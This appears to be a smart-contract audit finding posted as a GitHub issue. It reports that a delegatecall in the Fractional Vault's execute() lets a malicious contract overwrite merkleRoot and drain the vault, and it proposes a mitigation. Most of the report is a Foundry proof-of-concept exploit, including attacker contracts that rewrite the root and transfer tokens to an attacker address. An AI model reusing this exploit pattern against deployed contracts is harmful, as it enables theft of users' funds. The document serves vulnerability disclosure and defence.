Lines of code
<https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L86&gt;
<https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L131&gt;

Vulnerability details

Impact

If the vault contract delegatecall the malicious contract by execute()，the important variable merkleRoot can be modified. If the merkleRoot is set well designed, the vault will lose all tokens. Because, there are two main requirements for function execute() to run successfully. One is MerkleProof.verify(_proof, merkleRoot, leaf)==true, the other is msg.sender == owner. After the new merkleRoot is set, the exploiter just needs to set the right argument _target, _data, _proof for execute() to pass through the MerkleProof.verify test. The malicious code concealed in _data will be executed. The vault balance is exploited.

Proof of Concept

Owner may accidentally call the malicious contract from address _target. If the owner call the function execute(), the delegatecall() will go through. The merkleRoot will be changed, and no error will report.

The new merkleRoot is well designed. Then the attacker sets the exact parameters _target, _data, _proof to execute() pass the test of MerkleProof.verify(_proof, merkleRoot, leaf). The malicious code concealed in _data will be executed, to drain the vault balance. The following is the test code with malicious contract.

    function testExploitVault() public {
        vaultProxy.init();
        MockERC20(erc20).mint(address(vaultProxy), 10);

        emit log_named_uint(
            "ERC20 Balance of vaultProxy is: ",
            MockERC20(erc20).balanceOf(address(vaultProxy))
        );

        TargetContract targetContract = new TargetContract();
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = keccak256(
            abi.encode(
                alice.addr,
                address(targetContract),
                TargetContract.changeMerkleRoot.selector
            )
        );
        vaultProxy.setMerkleRoot(merkleRoot);
        emit log_named_address("Vault owner address is:", vaultProxy.owner());
        emit log_named_bytes32("Merkle Root is: ", vaultProxy.merkleRoot());
        bytes memory data = abi.encodeCall(targetContract.changeMerkleRoot, ());
        vaultProxy.execute(address(targetContract), data, proof);
        emit log_named_bytes32(
            "Merkle root has been changed to: ",
            vaultProxy.merkleRoot()
        );
        FakeContract fc = new FakeContract(
            address(transferTarget),
            address(vaultProxy)
        );
        address[] memory modules = new address[](1);
        bytes32 merkleRoot;
        bytes32[] memory merkleTree;
        bytes32[] memory hashes = new bytes32[](3);
        bytes32[] memory erc20TransferProof = new bytes32[](3);
        modules[0] = address(fc);
        hashes[0] = fc.getLeafNodes()[0];
        hashes[1] = fc.getLeafNodes()[1];
        hashes[2] = fc.getLeafNodes()[2];
        merkleTree = fc.generateMerkleTree(modules);
        merkleRoot = fc.getRoot(merkleTree);
        erc20TransferProof = fc.getProof(hashes, 0);
        bool merclepass = MerkleProof.verify(
            erc20TransferProof,
            merkleRoot,
            hashes[0]
        );

        bytes4 selectorOrignal = bytes4(
            keccak256("ERC20Transfer(address,address,uint256)")
        );
        User memory twpony = createUser(address(0), 333);
        emit log_named_uint(
            "ERC20 Balance of twpony: ",
            MockERC20(erc20).balanceOf(twpony.addr)
        );
        bytes memory _data2 = abi.encodeWithSelector(
            selectorOrignal,
            erc20,
            twpony.addr,
            5
        );
        bytes32 leaf = keccak256(
            abi.encode(address(fc), address(transferTarget), selectorOrignal)
        );
        bool merclepass2 = MerkleProof.verify(
            erc20TransferProof,
            merkleRoot,
            leaf
        );
        emit log_named_uint(
            "Merkle Tree is passed++++++++:",
            merclepass ? 1 : 0
        );
        emit log_named_address("Target address is: ", address(transferTarget));
        emit log_named_address("FakeContract address is: ", address(fc));
        emit log_named_bytes32("proof is : ", erc20TransferProof[0]);
        emit log_named_bytes32("Merkle Root is : ", merkleRoot);
        emit log_named_bytes32("Selector is : ", bytes32(selectorOrignal));
        emit log_named_bytes("Data is: ", _data2);
        
        fc.executeVault(address(transferTarget), _data2, erc20TransferProof);
        
        emit log_named_uint(
            "ERC20 Balance of vaultProxy: ",
            MockERC20(erc20).balanceOf(address(vaultProxy))
        );
        emit log_named_uint(
            "ERC20 Balance of twpony: ",
            MockERC20(erc20).balanceOf(twpony.addr)
        );
        emit log_named_uint(
            "ERC20 has been stolen: ",
            MockERC20(erc20).balanceOf(twpony.addr)
        );
    }

contract TargetContract {
    address public owner;
    bytes32 public merkleRoot;

    function changeOwner(address _owner) public {
        owner = _owner;
    }

    function changeMerkleRoot() external {
        merkleRoot = 0x5bab8c9c9f94e0692514cca51f143dbebc81646205bb41b31f627bb3a2730543;
    }
}

contract FakeContract is MerkleBase{
    address public transfer;
    address public vault;

    constructor(address _transfer, address _vault) {
        transfer = _transfer;
        vault = _vault;
    }

    function executeVault(
        address _target,
        bytes calldata _data,
        bytes32[] calldata _proof
    ) public {
        IVault(vault).execute(_target, _data, _proof);
    }

    receive() external payable {}
}

Tools Used

Foundry, Paper

Recommended Mitigation Steps

merkleRoot should be protected, when calling delegatecall(). I think the easiest solution is to add some restriction on merkleRoot, just like the requirement of owner.

bytes32 merkleRoot_ = merkleRoot;
(success, response) = _target.delegatecall{gas: stipend}(_data);
if (merkleRoot_ != merkleRoot) revert MerkleRootChanged(merkleRoot_, merkleRoot);  

The text was updated successfully, but these errors were encountered:

👀 1 ecmendenhall reacted with eyes emoji

All reactions

• 👀 1 reaction